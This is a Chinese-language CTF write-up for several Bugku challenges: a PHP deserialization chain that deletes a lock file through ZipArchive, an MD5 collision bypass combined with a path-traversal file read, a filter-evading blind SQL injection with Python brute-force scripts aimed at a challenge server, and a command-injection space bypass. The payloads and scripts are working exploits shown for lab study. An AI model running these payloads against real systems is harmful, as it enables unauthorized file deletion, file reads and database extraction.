bugctf 的noteasytrick

<?php
error_reporting(0);
ini_set("display_errors","Off");
class Jesen {
public $filename;
public $content;
public $me;

function __wakeup(){
$this->me = new Ctf();
}
function __destruct() {
$this->me->open($this->filename,$this->content);
}
}

class Ctf {
function __toString() {
return "die";
}
function open($filename, $content){
if(!file_get_contents("./sandbox/lock.lock")){
echo file_get_contents(substr($_POST['b'],0,30));
die();
}else{
file_put_contents("./sandbox/".md5($filename.time()),$content);
die("or you can guess the final filename?");
}

}
}

if(!isset($_POST['a'])){
highlight_file(__FILE__);
die();
}else{
if(($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a']))){
unserialize($_POST['c']);
}

}

需要绕过wakeup的执行

if(!file_get_contents("./sandbox/lock.lock"))

这里需要进行绕过而file_get_contents()读到文件则返回读到的数据,而没有读到则返回false,而这里包含一个取反函数所以就只能读不到,这里将设法将其删除.

这里首先访问./sandbox/lock.lock文件发现存在

这里了解到可以利用 ZipArchive 的open方法进行删除这里的原因是由于原先wakeup的调用本来就为Ctf类的open方法而这里就找到了ZipArchive 的open方法经过实验这里open总共有两个参数第二个参数的是要传入一个预定义常量而8的预定义常量含义大概是将文件进行关闭,防止产生报错.而不使用参数经过实验好像也可删除文件.

之后得到脚本

<?php
class Jesen {

public $filename = './sandbox/lock.lock';
public $content = 8;
public $me;}
$a = new Jesen();
$zip = new ZipArchive;
$a->me = $zip;
$b = serialize($a);
$b = str_replace('":3:','":4:',$b);
echo $b;
echo "\n";

这里仅仅得到了c的值而a与b可以通过php的弱类型来绕过

($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a'])

其实php为了可以上传一个数组,会把结尾带一对中括号的变量,例如 xxx[]的name(就是$_POST中的key)

===会比较类型,这个时候可以用到PHP中md5()函数无法处理数组(会返回NULL)来实现绕过。

payload: /?a[]=1&b[]=2 (上面==的例子也可以用数组绕过)综上payload为

a[]=1&b[]=2&c=O:5:"Jesen":4:{s:8:"filename";s:19:"./sandbox/lock.lock";s:7:"content";i:8;s:2:"me";O:10:"ZipArchive":5:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}}

上传完之后再次访问./sandbox/lock.lock文件发现并不存在

这里便绕过第一步了

这里直接需要b的值

echo file_get_contents(substr($_POST['b'],0,30));

而又需要绕过md5强类型碰撞

($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a'])

这里选用fastcoll软件进行生成,直接将1.txt拖动到fastcoll上面产生两个文件使用Hash软件进行对比md5值

./../../../../../../../../flag

这里由于b对前30个字符进行截取所以直接产生30个.而这里产生的两个文件需要进行url编码而这里经过验证一般软件的url编码使用之后并不正确

而使用php内置的urlencode()函数才能正常

<?php
function readmyfile($path){
$fh=fopen($path,"rb");
$data=fread($fh,filesize($path));
fclose($fh);
return$data;
}
//echo md5( (readmyfile("1.txt")));
//echo '============================';
echo urlencode(readmyfile("1.txt"));
//echo md5( (readmyfile("2.txt")));
echo '============================';
echo urlencode(readmyfile("2.txt"));

这时c的值可以进行另外的赋值因为他必须对Ctf类的open()函数进行调用才能执行到

echo file_get_contents(substr($_POST['b'],0,30));
<?php
class Jesen{
public$filename;
public$content;
public$me;

}

$a = new Jesen();
echo serialize($a);

产生的c与前两个进行组合产生最终payload

a=.%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%AA%E9%86v%A1b%E9g%7B%C8%8A%84q%C3%7D%E0%B8%83%9B%EA%1C%E1%86%19%17%5E%3A%11%B9%A2%AB%E5%9C%1B%B6%0D%3E%84%D6%F2%8F%E8%EF1%BFm%95%F7%BC%87%C2%D9k%5D4%F1%FE%D7%F7%7B%A5%A0%DF%5D%C5P%BB%0D%27%12%D1%0DlLR%B1%D7%B4%22%D3u%60H%276%BD+%8At%C9%BF%5BOLOAp%C6%C8%AA%82k%93%9E%E8%BC%EB%B8s2%87I%DC%18%2F_I%22%F0%F3%CF%5D%05%9D%B2%0B%7DU&b=.%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%AA%E9%86v%A1b%E9g%7B%C8%8A%84q%C3%7D%E0%B8%83%9Bj%1C%E1%86%19%17%5E%3A%11%B9%A2%AB%E5%9C%1B%B6%0D%3E%84%D6%F2%8F%E8%EF1%BF%ED%95%F7%BC%87%C2%D9k%5D4%F1%FE%D7%F7%FB%A5%A0%DF%5D%C5P%BB%0D%27%12%D1%0DlLR%B1%D7%B4%22%D3u%60H%A76%BD+%8At%C9%BF%5BOLOAp%C6%C8%AA%82k%93%9E%E8%BC%EB%B8s%B2%86I%DC%18%2F_I%22%F0%F3%CF%5D%05%1D%B2%0B%7DU&c=O:5:"Jesen":3:{s:8:"filename";N;s:7:"content";N;s:2:"me";N;}

bugctfcql注入

常规测试

打开题目是一个登录框
​ 先用弱口令试一下
​ 使用万能密码 admin’or 1=1 # admin
​ 提示非法字符
​ 使用字典fuzz一下

字典在 D:\Data\secquan\tools\字典目录\fuzzDicts\sqlDict\sqlfilters.txt

当输入admin a时出现password error!!@_@

而当输入a a时出现username error!!@_@

当输入admin’or 1=1 # admin出现illegal character!!@_@

这说明用户名与密码时分开验证的那就肯定不是

select * from user where username=用户名 and password='密码 ';

可能是

select * from user where username='用户名';

一般情况下可以使用admin’ or ‘1’=’ 进行闭合

但是此题由于进行了过滤所以

采用 admin’-0-’ 与 ‘admin’-1-‘进行闭合

这两个payload我跟大家解释一下,mysql中字符串和数字类型可以比较也可以做运算,但是在比较和运算之前,字符串都会被转化成0,这里的两个payload在后端可能就是:

select * from user where username=’admin’-0-’’;

减号的优先级高,’admin’-0-’’结果为0,实际上就是select * from user where username=0;而我刚刚说过,字符串与数字比较会变成0,那么username=0就是永真。我们得到的结果是密码错误,符合我们的预期。

select * from user where username=’admin’-1-’’;

这个得到的响应用户名错误也符合我们的预期。

到现在我们可以确定了,单引号能够闭合uname这个参数存在SQL注入。

其中空格被过滤了而

绕过空格的方法有

1.使用/**/

select/**/*/**/from/**/users;

2.使用括号绕过

select(id)from(users);

3.使用回车%0a进行绕过

select%0a*%0afrom%0ausers%0awhere%0aid=1;

4.使用反引号进行绕过

select`id`from`users`where`id`=1;

此处仅剩()可用而/**/ ` %0a都不可用

经过实验如果

select (length(database())>10);

条件成功则返回0即为假而

select (length(database())>1);

条件失败则返回1即为真

根据上面的判断可知如果为假(0)则返回密码错误,如果为真则返回真(1)返回用户名错误

一般情况下接下来爆数据库名称都是使用substr函数,而这个函数的常规用法就是if(substr(database(),1,1)=’a’,1,0),说人话就是:如果数据库名称的第一个字母是a那么if返回1,否则返回0

然而这道题目把, 进行了过滤所以要换一个爆数据库名称的方法

绕过逗号

对于substr这个函数,由于需要有3个参数,中间需要两个逗号隔开,看似没有解决办法,但是实际上是有的

因为substr这个函数还有另一种用法

substr(“字符串” from 开始 for 长度)

举个例子

substr('flag' from 1)	返回:flag
substr('flag' from 2) 返回:fla
substr('flag' from 3) 返回:fl
substr('flag' from 4) 返回:f

但是一般来说,进行sql注入的时候substr函数一般只会截取一个字母而使用substr的from的语法的时候返回的个数由from后面的数字以及原本字符串决定对于这道题目for这个关键字被过滤掉了所以没有办法直接控制长度

利用reverse函数

substr((reverse(substr('flag' from 1)))from 4)	返回:f 即总共有多少长度的字符串就从前取一后去长度
substr((reverse(substr('flag' from 2)))from 3) 返回:a
substr((reverse(substr('flag' from 3)))from 2) 返回:l
substr((reverse(substr('flag' from 4)))from 1) 返回:g

综上得到以下payload

admin'-(ascii(substr((reverse(substr((database())from(1))))from(8)))=97)-'
# paload = admin'-(ascii(substr((reverse(substr((database())from(1))))from(8)))=97)-'
import requests
dic=['.','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','_']
url="http://114.67.175.224:18631/login.php"
ans=""
#正确返回用户名错误
cookie = {'PHPSESSID':'astqrm9hgj44ls08fohukqc740'}

for i in range(1,9):
#print(i)
j=9-i
for k in dic:
uname = "admin'-(ascii(substr((reverse(substr((database())from({}))))from({})))={})-'".format(i,j,str(ord(k)))
#print(uname)
data = {
'uname': uname,
'passwd': 'a',
}
res = requests.post(url=url, cookies=cookie, data=data)
#print(res.text)
if "username error" in res.text:
ans +=k
print(ans)

#获取数据库名称database() = bugkuctf

得到passwd的长度而为什么是passwd的长度猜测可能是由于这个原因

select * from user where username=’admin'-(length(passwd)={})-'
admin'-(length(passwd)={})-'

写出python脚本

for i in  range(1,50):
uname ="admin'-(length(passwd)={})-'".format(i)
# print(uname)
data = {
"uname": uname,
"passwd": "a"
}
res = requests.post(url=url,cookies=cookie,data=data)
if "username error" in res.text:

print("passwd长度为:" + str(i))
#passwd长度为:32

写出获取passwd字段的payload

admin'-(ascii(substr((reverse(substr((passwd)from({}))))from({})))={})-'".format(i,j,str(ord(k)))

写出python脚本

for i in range(1,33):
#print(i)
j = 33-i
#print(j)
for k in dic:
uname = "admin'-(ascii(substr((reverse(substr((passwd)from({}))))from({})))={})-'".format(i,j,str(ord(k)))
#print(uname)
data = {
'uname': uname,
'passwd': 'a',
}
res = requests.post(url=url, cookies=cookie, data=data)
# print(res.text)
if "username error" in res.text:
ans += k
print(ans)
# 4dcc88f8f1bc05e7c2ad1a60288481a2

进行md5解密得到密码bugkuctf

脚本

# paload = admin'-(ascii(substr((reverse(substr((database())from(1))))from(8)))=97)-'
import requests
dic=['.','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','_']
url="http://114.67.175.224:18631/login.php"
ans=""
#正确返回用户名错误
cookie = {'PHPSESSID':'astqrm9hgj44ls08fohukqc740'}

for i in range(1,9):
#print(i)
j=9-i
for k in dic:
uname = "admin'-(ascii(substr((reverse(substr((database())from({}))))from({})))={})-'".format(i,j,str(ord(k)))
#print(uname)
data = {
'uname': uname,
'passwd': 'a',
}
res = requests.post(url=url, cookies=cookie, data=data)
#print(res.text)
if "username error" in res.text:
ans +=k
print(ans)

#获取数据库名称database() = bugkuctf
for i in range(1,50):
uname ="admin'-(length(passwd)={})-'".format(i)
# print(uname)
data = {
"uname": uname,
"passwd": "a"
}
res = requests.post(url=url,cookies=cookie,data=data)
if "username error" in res.text:

print("passwd长度为:" + str(i))
#passwd长度为:32

for i in range(1,33):
#print(i)
j = 33-i
#print(j)
for k in dic:
uname = "admin'-(ascii(substr((reverse(substr((passwd)from({}))))from({})))={})-'".format(i,j,str(ord(k)))
#print(uname)
data = {
'uname': uname,
'passwd': 'a',
}
res = requests.post(url=url, cookies=cookie, data=data)
# print(res.text)
if "username error" in res.text:
ans += k
print(ans)
# 4dcc88f8f1bc05e7c2ad1a60288481a2

Linux对空格进行过滤

登录进去发现是一个命令执行页面而对空格进行了过滤使用

cat</flag

<进行重定向输出